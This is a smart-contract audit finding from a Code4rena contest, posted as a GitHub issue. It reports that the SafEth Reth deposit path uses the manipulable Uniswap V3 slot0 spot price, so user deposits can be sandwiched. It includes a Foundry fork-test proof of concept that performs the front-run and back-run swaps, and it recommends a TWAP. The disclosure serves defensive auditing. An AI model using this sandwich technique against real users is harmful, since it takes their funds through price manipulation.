code-423n4 / 2023-03-asymmetry-findings

14 stars 12 forks source link

Using Uniswap V3 spot price makes users susceptible to sandwich attacks #750

Closed code423n4 closed 1 year ago

code423n4 commented 1 year ago

Lines of code

https://github.com/code-423n4/2023-03-asymmetry/blob/main/contracts/SafEth/derivatives/Reth.sol#L156 https://github.com/code-423n4/2023-03-asymmetry/blob/main/contracts/SafEth/derivatives/Reth.sol#L176-L183 https://github.com/code-423n4/2023-03-asymmetry/blob/main/contracts/SafEth/derivatives/Reth.sol#L236-L241

Vulnerability details

Reth.deposit() uses Uniswap V3 to trade WETH to rETH, when it's impossible to deposit into RocketPool and that's the case at the time of writing this report. The problem is that it uses spot price from IUniswapV3Pool.slot0, which is susceptible to manipulation. The protocol protects against that by adding maximum slippage, but this won't work if a MEV bot sandwitches the transaction, lowering the price a lot. Then the victim's transaction slippage will be calculated using manipulated price, allowing for higher price slippage than expected.

Impact

Users loose significant amounts of rETH on slippage.

Proof of Concept

MEV bot sees large deposit and sandwiches it, first driving the price down by 10%. This is relatively easy, because rETH / ETH Uni V3 pool is highly concentrated. The price manipulation won't revert the victim's deposit, because the minPrice is taken from Reth.poolPrice() , which returns spot price (already manipulated) from Uniswap:

    function poolPrice() private view returns (uint256) {
    ...
          IUniswapV3Pool pool = IUniswapV3Pool(
            factory.getPool(rocketTokenRETHAddress, W_ETH_ADDRESS, 500) // @info it's this one => https://etherscan.io/address/0xa4e0faA58465A2D369aa21B3e42d43374c6F9613
        );
        (uint160 sqrtPriceX96, , , , , , ) = pool.slot0();
        return (sqrtPriceX96 * (uint(sqrtPriceX96)) * (1e18)) >> (96 * 2);

It's then used to calculate minOut:

    function deposit() external payable onlyOwner returns (uint256) {
...
        if (!poolCanDeposit(msg.value)) {
            uint rethPerEth = (10 ** 36) / poolPrice();

            uint256 minOut = ((((rethPerEth * msg.value) / 10 ** 18) *
                ((10 ** 18 - maxSlippage))) / 10 ** 18);
...

This way a user is stolen from rETH part of the deposit.

While testing this, I was even able to DoS the transfer in Reth.poolPrice() function in lines:

        (uint160 sqrtPriceX96, , , , , , ) = pool.slot0(); 
        return (sqrtPriceX96 * (uint(sqrtPriceX96)) * (1e18)) >> (96 * 2);

with 2000 ETH. Then, sqrtPriceX96 becomes circa 1461446703485210103287273052203988822378723970341, which overflows and DoSes the transfer.

Running tests

In order to run the test, get foundry files from https://gist.github.com/deliriusz/5eb92d3138db9943cf6da06caa6c0aa0 .

then run the test using forge test -vvv -m "sand" --fork-block-number 16933064 --fork-url $MAINNET_URL

the test case:

    function test_sandwitchingUserDeposit() public {
        // run this with following command:
        // forge test -vvv -m "sand" --fork-block-number 16933064 --fork-url $MAINNET_URL
        // block is hardcoded, because pool liquidity changes constantly

        setDerivatives();
        // register price before manipulation
        uint poolPriceBefore = poolPrice();
        console.log("pool price before ", poolPriceBefore);
        address WETH = rethEth.W_ETH_ADDRESS();
        vm.label(WETH, "WETH9");
        vm.label(RETH_ERC20, "rETH");
        vm.label(rethEth.UNISWAP_ROUTER(), "UniV3Router");

        // let's assume that MEV bot is in possession of 1800 ETH
        deal(WETH, mev, 1800 ether);

        uint mevWethBefore = IERC20(WETH).balanceOf(mev);

        console.log("pool price before sandwich ", poolPrice());

        vm.startPrank(mev);
        IERC20(WETH).approve(rethEth.UNISWAP_ROUTER(), 2000 ether);
        IERC20(RETH_ERC20).approve(rethEth.UNISWAP_ROUTER(), 2000 ether);
        vm.stopPrank();

        vm.startPrank(mev);
        ISwapRouter.ExactInputSingleParams memory params2 = ISwapRouter
            .ExactInputSingleParams({
                tokenIn: WETH,
                tokenOut: RETH_ERC20,
                fee: 500,
                recipient: mev,
                amountIn: 1750 ether,
                amountOutMinimum: 0,
                sqrtPriceLimitX96: 0
            });
        uint amountOut = ISwapRouter(rethEth.UNISWAP_ROUTER()).exactInputSingle(params2);
        vm.stopPrank();

        console.log("received=", amountOut);

        uint poolPriceAfter = poolPrice();
        console.log("pool price after frontrunning ", poolPriceAfter);

        uint priceChange = poolPriceAfter - poolPriceBefore ;

        vm.deal(alice, 12 ether);

        console.log("price change after frontrunning (1e16 = 1%) ", priceChange);
        assertTrue(priceChange > 2e16); // assert that the price changes more than 2%, even though max price slippage is set to 1%

        uint balanceBefore = alice.balance;

        vm.startPrank(alice);
        safEthProxyWrapper.stake{value: 10 ether}();
        vm.stopPrank();

        uint balanceAfter = alice.balance;

        // now do the backrunning
        vm.startPrank(mev);
        ISwapRouter.ExactInputSingleParams memory params = ISwapRouter
            .ExactInputSingleParams({
                tokenIn: RETH_ERC20,
                tokenOut: WETH,
                fee: 500,
                recipient: mev,
                amountIn: amountOut,
                amountOutMinimum: 0,
                sqrtPriceLimitX96: 0
            });
        uint amountOut2 = ISwapRouter(rethEth.UNISWAP_ROUTER()).exactInputSingle(params);
        vm.stopPrank();

    }

Tools Used

Manual analysis

Recommended Mitigation Steps

Use Uniswap TWAP to get current price of rETH

c4-pre-sort commented 1 year ago

0xSorryNotSorry marked the issue as high quality report

c4-pre-sort commented 1 year ago

0xSorryNotSorry marked the issue as duplicate of #601

c4-judge commented 1 year ago

Picodes marked the issue as duplicate of #1125

c4-judge commented 1 year ago

Picodes marked the issue as satisfactory